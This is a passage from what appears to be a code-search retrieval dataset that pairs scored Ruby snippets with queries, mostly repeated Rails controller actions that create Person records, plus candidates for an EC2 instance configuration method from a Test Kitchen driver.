successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ff64f712ca5c171b73151901dc47c4f6", "score": "0.5547708", "text": "def postRequest\n assertRequestData\n assertRequestType\n req = Net::HTTP::Post.new(@uri.request_uri)\n req.add_field('Content-Type', 'text/xml')\n req.body = buildXmlRequest\n @response = sendRequest(req)\n return @response\n end", "title": "" }, { "docid": "e73711485110f598bc9bbccf41ea2cde", "score": "0.5547135", "text": "def create\n @person = Person.new(person_params)\n flash[:notice] = 'Person was successfully created.' if @person.save\n respond_with @person\n end", "title": "" }, { "docid": "0d9e19a34e489bf95d130ad9173baf4b", "score": "0.55409974", "text": "def create\r\n @person = Person.new(person_params)\r\n\r\n respond_to do |format|\r\n if @person.save\r\n flash[:notice] = 'Person was successfully created.'\r\n format.html { redirect_to( :action => 'show', :id => @person) }\r\n #format.html { redirect_to( :action => 'index') }\r\n\t format.xml { render :xml => @person, :status => :created, :location => @person }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "c2c7057440044f88dbfa84db897a10b1", "score": "0.5539646", "text": "def persons_post(name, opts = {})\n persons_post_with_http_info(name, opts)\n end", "title": "" }, { "docid": "6e8459c8815714a28b0795257d8a2f85", "score": "0.5537994", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to root_path, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd1df4353bb145df27039aca3fc24a5b", "score": "0.55306554", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"Person was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e255fd5563c5c2b79c5b45e87dc92b43", "score": "0.5529847", "text": "def create\n @person = @community.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to person_path(@person), notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a94ddadb4257f161e3d85147f28b083f", "score": "0.55295455", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a2c94f5b2ad0b0e753782cf319bf580", "score": "0.552768", "text": "def create\n @person = Person.new(person_params)\n @person.user_id = current_user.id\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77f1b19f744de66de60cb7837c0f479f", "score": "0.5516532", "text": "def create_contact \n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts.json'\n ).to_s\n\n puts RestClient.post(\n url,\n { Contact: { name: \"Contact 1\", email: \"contact 1 email\", user_id: 2} }\n # { user: { name: \"Gizmo\", email: \"gizmo@gizmo.gizmo\" } }\n )\nend", "title": "" }, { "docid": "159817cd3a10d8d8024aa875b244f4cb", "score": "0.5512979", "text": "def create\n @person = @dataset.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @dataset, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50c52a75af83c0d41e9e3a5916c5f602", "score": "0.55063736", "text": "def create\n @person = Person.new(params[:person])\n \n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, :notice => 'Pessoa criada com sucesso.' }\n format.json { render :json => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa90f75b683a380a5fd7224733afbf5e", "score": "0.5505385", "text": "def create(name=\"Default Name\", published=\"false\", genre=\"music\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n response.body \r\n end", "title": "" }, { "docid": "33ee8949da2b37848b7e36c478993be3", "score": "0.54997474", "text": "def create\n @person_person = PersonPerson.new(person_person_params)\n\n respond_to do |format|\n if @person_person.save\n format.html { redirect_to @person_person, notice: 'Person person was successfully created.' }\n format.json { render :show, status: :created, location: @person_person }\n else\n format.html { render :new }\n format.json { render json: @person_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92bae663ccac25d9b6fb21d2d4d5a141", "score": "0.5491578", "text": "def create\n @people = People.new(params[:people])\n set_people_role\n @page = Page.new(params[:page])\n @people.page = @page\n invitation = Invitation.find_by_code(params[:code])\n respond_to do |format|\n if invitation and @people.save\n invitation.destroy\n flash[:notice] = 'People was successfully created.'\n format.html { redirect_to people_url(@people) }\n format.xml { head :created,\n :location => people_url(@people) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @people.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "92aaca0da94fef4920db52a2ce3ea5fb", "score": "0.5482874", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n #format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n #format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a9b3b18dae404203a26fb98ce587533", "score": "0.547645", "text": "def create\n @person_address = PersonAddress.new(params[:person_address])\n\n respond_to do |format|\n if @person_address.save\n format.html { redirect_to(@person_address, :notice => 'Person address was successfully created.') }\n format.xml { render :xml => @person_address, :status => :created, :location => @person_address }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person_address.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e86401fe49e2229fc7241b478d0f907", "score": "0.5474858", "text": "def create\n @Person = Person.new(people_params)\n if @Person.save\n redirect_to people_path\n else\n render :new\n end\n end", "title": "" }, { "docid": "8064058ea3393dfc26c0be581f2a8255", "score": "0.54683346", "text": "def create\n # logger.debug \"in people#create\"\n \n params[:person][:role_ids] ||= []\n @person = Person.new(params[:person])\n\n @person.email = @person.id_number\n @person.password = @person.first_name\n @person.password_confirmation = @person.password\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0ac99e212d0b943537551a7e864009ab", "score": "0.5465734", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n UserMailer.welcome_email(@person).deliver \n format.html { redirect_to(admin_person_path(@person), :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f1dc935d2a0010341a877164c440b75", "score": "0.5464981", "text": "def create\n @person = Person.new(person_params)\n\n if @person.save\n redirect_to people_path\n else\n end\n end", "title": "" }, { "docid": "95d4f4eb10058eedd1ab9071f553513c", "score": "0.54619056", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95d4f4eb10058eedd1ab9071f553513c", "score": "0.54619056", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95d4f4eb10058eedd1ab9071f553513c", "score": "0.54619056", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b704a2d92b2344bf477810608d8053a", "score": "0.54614806", "text": "def create\n @person = @institution.people.new(person_params)\n @person.save\n \n respond_with(@institution, @person)\n end", "title": "" }, { "docid": "bd268c69725f50433d12d9b6eb78a4e3", "score": "0.54601", "text": "def create\n flash[:notice] = 'The person was successfully created.' if person.save\n respond_with(person)\n end", "title": "" }, { "docid": "d142ddfcbcb9c52e011dd1e24a51195b", "score": "0.5459755", "text": "def create\n @person = current_user.persons.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1aa75d4416d40acc4a8c30fcb4617a30", "score": "0.54581934", "text": "def create\n @blue_person = BluePerson.new(params[:blue_person])\n\n respond_to do |format|\n if @blue_person.save\n flash[:notice] = 'BluePerson was successfully created.'\n format.html { redirect_to(@blue_person) }\n format.xml { render :xml => @blue_person, :status => :created, :location => @blue_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @blue_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b1bcd5a006b11454d69ad26532bd48d", "score": "0.5454024", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "521e023e70adf520caeaf8542d8e97de", "score": "0.54472774", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n post_activity @person, \"created person #{@person.name}\"\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46f11091de69fa5f16fbdeb9b4b18640", "score": "0.54460907", "text": "def create\n @person = Person.new(params[:person])\n @person.party_id = Party.create[:id]\n $party_id = @person.party_id\n\n respond_to do |format|\n if @person.save\n flash[:success] = \"Person was successfully created.\"\n format.html { redirect_to @person }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "918625f6dd70c1a529c8fdcf82cda0e9", "score": "0.5442863", "text": "def create\n @people = People.new(params[:people])\n respond_to do |format|\n if @people.save\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "581d8725fe70d52497c47592319af342", "score": "0.54385006", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n expire_action :action => :index\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to person_url(@person) }\n format.xml { head :created, :location => person_url(@person) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "d42ad504501e76d36dabcf1bf0d9fab8", "score": "0.54323", "text": "def people\n find_nodes('name').map{|n| new_person n }\n end", "title": "" }, { "docid": "4dae5bffafa98da4d6846fa897e239db", "score": "0.5423924", "text": "def create_user\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users.json'\n ).to_s\n\n puts RestClient.post(\n url,\n { user: { username: \"Gizmo\"} }\n )\nend", "title": "" }, { "docid": "7c37d8822e189dab90d3b500ab462fd8", "score": "0.54231936", "text": "def create\n @person = Person.new(person_params)\n assign_tags\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d273a7672d722a4809a69dd59a35c2", "score": "0.54191655", "text": "def create\n @nice_person = NicePerson.new(nice_person_params)\n\n respond_to do |format|\n if @nice_person.save\n format.html { redirect_to @nice_person, notice: 'Nice person was successfully created.' }\n format.json { render :show, status: :created, location: @nice_person }\n else\n format.html { render :new }\n format.json { render json: @nice_person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3199172d4065b6003041cf7a5b6aad91", "score": "0.5415548", "text": "def post_expense_xml(xml)\n #request header bekommt Content-type = xml\n header \"Content-Type\", \"text/xml\" \n #expense daten werden alsl xml per Post request an den Server gesendet\n post '/expenses', xml\n #es wird erwartet das dies erfolgreich war\n expect(last_response.status).to eq(200)\n\n parsed = Ox.load(last_response.body, mode: :hash)\n expect(parsed).to include('expense_id' => a_kind_of(Integer))\n #adds an id key to the expense hash, containing the id from the database, after an expense is succesfully stored\n expense.merge('id' => parsed['expense_id'])\nend", "title": "" }, { "docid": "0df31c72e7e4029a2dfebeb6f1c66e46", "score": "0.54103196", "text": "def create\n @person = Client.new(params[:client])\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created. Please select action below to continue working with this record.'\n format.html { redirect_to(edit_person_path(@person)) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e55b54e6fe439782ded84c7d8707cc99", "score": "0.54080236", "text": "def new\n @person = Client.new(params[:person])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "d9a0b3003ba854089ac3205556825732", "score": "0.54063857", "text": "def create\n @persona = Persona.new(params[:persona])\n\n respond_to do |format|\n if @persona.save\n flash[:notice] = 'Registro guardado correctamente.'\n format.html { redirect_to(@persona) }\n format.xml { render :xml => @persona, :status => :created, :location => @persona }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @persona.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3c39e37fa92657b4313b0e8acdc8c7a", "score": "0.5402328", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Osoba bola úspešne vytvorená.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "423429ea734a12878aaba2b43f8d0ce5", "score": "0.5386691", "text": "def create\n @person = Person.find_by_firstname_and_lastname(params[:person][:firstname].strip.capitalize, params[:person][:lastname].strip.capitalize)\n @person = Person.new(params[:person]) if @person.nil?\n @person.users << current_user unless @person.users.include?(current_user) \n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_url, notice: \"#{@person.firstname} #{@person.lastname} was successfully created.\" }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0b04c2caa079aca6a688862e248e7b2", "score": "0.53770334", "text": "def new\n @emails_person = EmailsPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @emails_person }\n end\n end", "title": "" } ]
08cef44ab705b67418e26f03ac28ddd2
Transform the provided kitchen config into the hash we'll use to create the aws instance can be passed in null, others need to be ommitted if they are null Some fields can be passed in null, others need to be ommitted if they are null
[ { "docid": "f0ec085a5c9dca5dc41722173776f8f9", "score": "0.0", "text": "def ec2_instance_data\n # Support for looking up security group id and subnet id using tags.\n vpc_id = nil\n client = ::Aws::EC2::Client.new(region: config[:region])\n if config[:subnet_id].nil? && config[:subnet_filter]\n filters = [config[:subnet_filter]].flatten\n\n r = { filters: [] }\n filters.each do |subnet_filter|\n r[:filters] <<\n {\n name: \"tag:#{subnet_filter[:tag]}\",\n values: [subnet_filter[:value]],\n }\n end\n\n subnets = client.describe_subnets(r).subnets\n raise \"Subnets with tags '#{filters}' not found during security group creation\" if subnets.empty?\n\n # => Select the least-populated subnet if we have multiple matches\n subnet = subnets.max_by { |s| s[:available_ip_address_count] }\n vpc_id = subnet.vpc_id\n config[:subnet_id] = subnet.subnet_id\n end\n\n if config[:security_group_ids].nil? && config[:security_group_filter]\n # => Grab the VPC in the case a Subnet ID rather than Filter was set\n vpc_id ||= client.describe_subnets(subnet_ids: [config[:subnet_id]]).subnets[0].vpc_id\n security_groups = []\n filters = [config[:security_group_filter]].flatten\n filters.each do |sg_filter|\n r = {}\n if sg_filter[:name]\n r[:filters] = [\n {\n name: \"group-name\",\n values: [sg_filter[:name]],\n },\n {\n name: \"vpc-id\",\n values: [vpc_id],\n },\n ]\n end\n\n if sg_filter[:tag]\n r[:filters] = [\n {\n name: \"tag:#{sg_filter[:tag]}\",\n values: [sg_filter[:value]],\n },\n {\n name: \"vpc-id\",\n values: [vpc_id],\n },\n ]\n end\n\n security_group = client.describe_security_groups(r).security_groups\n\n if security_group.any?\n security_group.each { |sg| security_groups.push(sg.group_id) }\n else\n raise \"A Security Group matching the following filter could not be found:\\n#{sg_filter}\"\n end\n end\n config[:security_group_ids] = security_groups\n end\n\n i = {\n instance_type: config[:instance_type],\n ebs_optimized: config[:ebs_optimized],\n image_id: config[:image_id],\n key_name: config[:aws_ssh_key_id],\n subnet_id: config[:subnet_id],\n private_ip_address: config[:private_ip_address],\n min_count: 1,\n max_count: 1,\n }\n\n if config[:tags] && !config[:tags].empty?\n tags = config[:tags].map do |k, v|\n # we convert the value to a string because\n # nils should be passed as an empty String\n # and Integers need to be represented as Strings\n { key: k, value: v.to_s }\n end\n instance_tag_spec = { resource_type: \"instance\", tags: tags }\n volume_tag_spec = { resource_type: \"volume\", tags: tags }\n i[:tag_specifications] = [instance_tag_spec, volume_tag_spec]\n end\n\n availability_zone = config[:availability_zone]\n if availability_zone\n if /^[a-z]$/i.match?(availability_zone)\n availability_zone = \"#{config[:region]}#{availability_zone}\"\n end\n i[:placement] = { availability_zone: availability_zone.downcase }\n end\n tenancy = config[:tenancy]\n if tenancy\n if i.key?(:placement)\n i[:placement][:tenancy] = tenancy\n else\n i[:placement] = { tenancy: tenancy }\n end\n end\n unless config[:block_device_mappings].nil? || config[:block_device_mappings].empty?\n i[:block_device_mappings] = config[:block_device_mappings]\n end\n i[:security_group_ids] = Array(config[:security_group_ids]) if config[:security_group_ids]\n i[:metadata_options] = config[:metadata_options] if config[:metadata_options]\n i[:user_data] = prepared_user_data if prepared_user_data\n if config[:iam_profile_name]\n i[:iam_instance_profile] = { name: config[:iam_profile_name] }\n end\n unless config.fetch(:associate_public_ip, nil).nil?\n i[:network_interfaces] =\n [{\n device_index: 0,\n associate_public_ip_address: config[:associate_public_ip],\n delete_on_termination: true,\n }]\n # If specifying `:network_interfaces` in the request, you must specify\n # network specific configs in the network_interfaces block and not at\n # the top level\n if config[:subnet_id]\n i[:network_interfaces][0][:subnet_id] = i.delete(:subnet_id)\n end\n if config[:private_ip_address]\n i[:network_interfaces][0][:private_ip_address] = i.delete(:private_ip_address)\n end\n if config[:security_group_ids]\n i[:network_interfaces][0][:groups] = i.delete(:security_group_ids)\n end\n end\n availability_zone = config[:availability_zone]\n if availability_zone\n if /^[a-z]$/i.match?(availability_zone)\n availability_zone = \"#{config[:region]}#{availability_zone}\"\n end\n i[:placement] = { availability_zone: availability_zone.downcase }\n end\n tenancy = config[:tenancy]\n if tenancy\n if i.key?(:placement)\n i[:placement][:tenancy] = tenancy\n else\n i[:placement] = { tenancy: tenancy }\n end\n end\n unless config[:instance_initiated_shutdown_behavior].nil? ||\n config[:instance_initiated_shutdown_behavior].empty?\n i[:instance_initiated_shutdown_behavior] = config[:instance_initiated_shutdown_behavior]\n end\n i\n end", "title": "" } ]
[ { "docid": "e0bb1f5ff9ffe22eed4b895761b8dbe5", "score": "0.6224806", "text": "def generate_aws_config(vmname, config)\n {\n :ssh_username => option_handler(config, :ssh_username),\n :use_private_ip_for_ssh => option_handler(config, :use_private_ip_for_ssh),\n :bootstrap_options => {\n :key_name => option_handler(config, :keypair_name),\n :instance_type => option_handler(config, :instance_type),\n :ebs_optimized => option_handler(config, :ebs_optimized),\n :image_id => option_handler(config, :image_id),\n :subnet_id => option_handler(config, :subnet_id),\n :associate_public_ip_address => option_handler(config, :associate_public_ip_address),\n # :user_data => nil, #TODO\n :block_device_mappings => [\n { device_name: option_handler(config, :root_block_device),\n ebs: {\n volume_size: option_handler(config, :root_block_device_size),\n volume_type: option_handler(config, :root_block_device_type),\n delete_on_termination: true\n }\n }\n ] + ephemeral_volumes(option_handler(config, :instance_type))\n },\n :aws_tags => option_handler(config, :aws_tags),\n :convergence_options => {\n :install_sh_arguments => option_handler(config, :install_sh_arguments),\n :bootstrap_proxy => option_handler(config, :bootstrap_proxy),\n :chef_config => option_handler(config, :chef_config),\n :chef_version => option_handler(config, :chef_version)\n }\n }\n end", "title": "" }, { "docid": "5fce6b4840ca582dc2923538c1636109", "score": "0.5758061", "text": "def kitchen_config\n {\n 'driver' => driver_config,\n 'transport' => transport_config,\n 'provisioner' => provisioner_config,\n 'platforms' => expand_platforms.map {|name| platform_config(name) },\n 'suites' => [suite_config],\n }\n end", "title": "" }, { "docid": "84c7d708bf40e0526d65d0cbaee44840", "score": "0.5634061", "text": "def kitchen_config\n @kitchen_config ||= {\n defaults: {\n driver: Driver::DEFAULT_PLUGIN,\n provisioner: Provisioner::DEFAULT_PLUGIN,\n verifier: Verifier::DEFAULT_PLUGIN,\n transport: lambda do |_suite, platform|\n platform =~ /^win/i ? \"winrm\" : Transport::DEFAULT_PLUGIN\n end,\n },\n kitchen_root: kitchen_root,\n test_base_path: test_base_path,\n log_level: log_level,\n log_overwrite: 